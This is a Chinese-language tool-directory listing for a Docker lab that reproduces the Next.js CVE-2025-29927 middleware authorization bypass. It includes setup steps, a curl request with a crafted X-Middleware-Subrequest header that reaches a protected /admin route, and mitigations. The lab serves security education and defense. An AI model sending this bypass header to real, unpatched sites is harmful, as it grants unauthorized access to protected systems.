Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
NextJS-CVE-2025-29927-Docker-Lab — 基于Docker的实验室,用于探索和复现Next.js CVE-2025-29927中间件授权绕过漏洞。包含易受攻击的应用、复现步骤及缓解策略,用于教育性安全研究。 | Kitploit
工具/GitHubGitHub/enochgitgamefied/nextjs-cve-2025-29927-docker-lab
身份验证与授权漏洞分析Web应用程序漏洞利用错误配置学习与教育实验室与实践
GitHubenochgitgamefied/nextjs-cve-2025-29927-docker-lab

NextJS-CVE-2025-29927-Docker-Lab

基于Docker的实验室,用于探索和复现Next.js CVE-2025-29927中间件授权绕过漏洞。包含易受攻击的应用、复现步骤及缓解策略,用于教育性安全研究。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
6个月前尚未审核

🚨 NextJS-CVE-2025-29927-Docker 实验室

此仓库包含一个基于 Docker 的实验环境,用于在受控设置中探索和演示 Next.js CVE-2025-29927 漏洞。

⚠️ 免责声明: 此实验室仅用于教育和安全研究目的。请勿将其暴露于公共互联网或用于生产环境。


📦 特性

  • ✅ 存在漏洞的 Next.js 应用程序
  • ✅ 使用 Docker 容器化
  • ✅ 专为本地测试 CVE-2025-29927 设计
  • ✅ 包含预配置的路由和 UI
  • ✅ 易于设置和运行

🛠 先决条件

确保已安装以下软件:

  • Docker(v20+)
  • Git
  • 可选:Node.js(若要在 Docker 外运行)

🚀 快速开始

按照以下步骤克隆并运行实验室:

1. 克隆仓库

root@kitploit:~
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab

2. 使用 Docker 构建并运行

root@kitploit:~
docker-compose up --build

这将:

  • 构建 Docker 镜像
  • 启动存在漏洞的 Next.js 服务器
  • 将应用程序暴露在 http://localhost:3000

📂 文件夹结构

root@kitploit:~
.
├── app/                     # 主要的 Next.js 应用代码
├── public/                  # 静态资产(图片等)
├── Dockerfile               # 应用程序的 Docker 设置
├── docker-compose.yml       # Compose 配置
├── .env                     # 环境变量(如有)
├── README.md                # 你在这里

🧪 测试漏洞

🛡️ CVE-2025-29927 - Next.js 中间件授权绕过

⚠️ 警告:本文档仅供教育和安全研究使用。请勿在生产环境中部署存在漏洞的应用程序。


🔍 概述

CVE-2025-29927 是 Next.js 中间件中的一个严重授权绕过漏洞。它允许攻击者通过操纵 X-Middleware-Subrequest 标头来跳过基于中间件的身份验证,进而访问受保护的路由。


🧪 复现漏洞

1. 未经身份验证访问受保护的路由

尝试直接访问受保护的路由(例如 /admin),不提供任何身份验证:

root@kitploit:~
curl http://localhost:3000/admin

预期行为:访问被拒绝或重定向到未授权页面。

漏洞行为:无需身份验证即可访问。

2. 使用 X-Middleware-Subrequest 标头绕过中间件

发送带有 X-Middleware-Subrequest 标头的请求以绕过中间件检查:

root@kitploit:~
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin

结果:中间件被绕过,成功访问受保护路由。


🛡️ 缓解策略

1. 升级 Next.js 至已修补版本

将 Next.js 更新至以下已修复漏洞的版本之一:

  • 14.2.25
  • 15.2.3
root@kitploit:~
npm install next@latest

2. 强化中间件

增强中间件以正确验证请求,并拒绝任何带有可疑标头的请求:

root@kitploit:~
import { NextResponse } from 'next/server';

export function middleware(request) {
  const subrequestHeader = request.headers.get('x-middleware-subrequest');
  if (subrequestHeader) {
    return new NextResponse('Unauthorized', { status: 401 });
  }
  // 继续正常处理
  return NextResponse.next();
}

3. 配置反向代理以剥离可疑标头

如果使用反向代理(例如 Nginx),请配置其从传入请求中移除 X-Middleware-Subrequest 标头:

root@kitploit:~
location / {
  proxy_pass http://localhost:3000;
  proxy_set_header X-Middleware-Subrequest "";
}

📚 参考

  • NVD - CVE-2025-29927
  • Datadog 安全实验室分析
  • Vercel 事后分析

此 VULNERABILITY.md 文件提供了在受控环境中理解并复现 CVE-2025-29927 漏洞的全面指南。同时提供了实用的缓解策略,以保护你的 Next.js 应用程序免受此类攻击。

如需详细了解此漏洞,可参考 Techtalkpine 在博客文章中提供的完整攻击演示,该博客文章也链接了 YouTube 直播演示:https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/

如果你在设置过程中需要任何帮助,或对缓解步骤有进一步疑问,请随时告知。


🧹 清理

停止并移除容器:

root@kitploit:~
docker-compose down

📚 资源

  • Next.js 文档
  • Docker 文档
  • OWASP Top 10

⚠️ 法律免责声明

本项目仅用于教育和研究目的。你有责任在使用时遵守所有适用法律和道德准则。作者对任何滥用或造成的损害不承担责任。

下载工具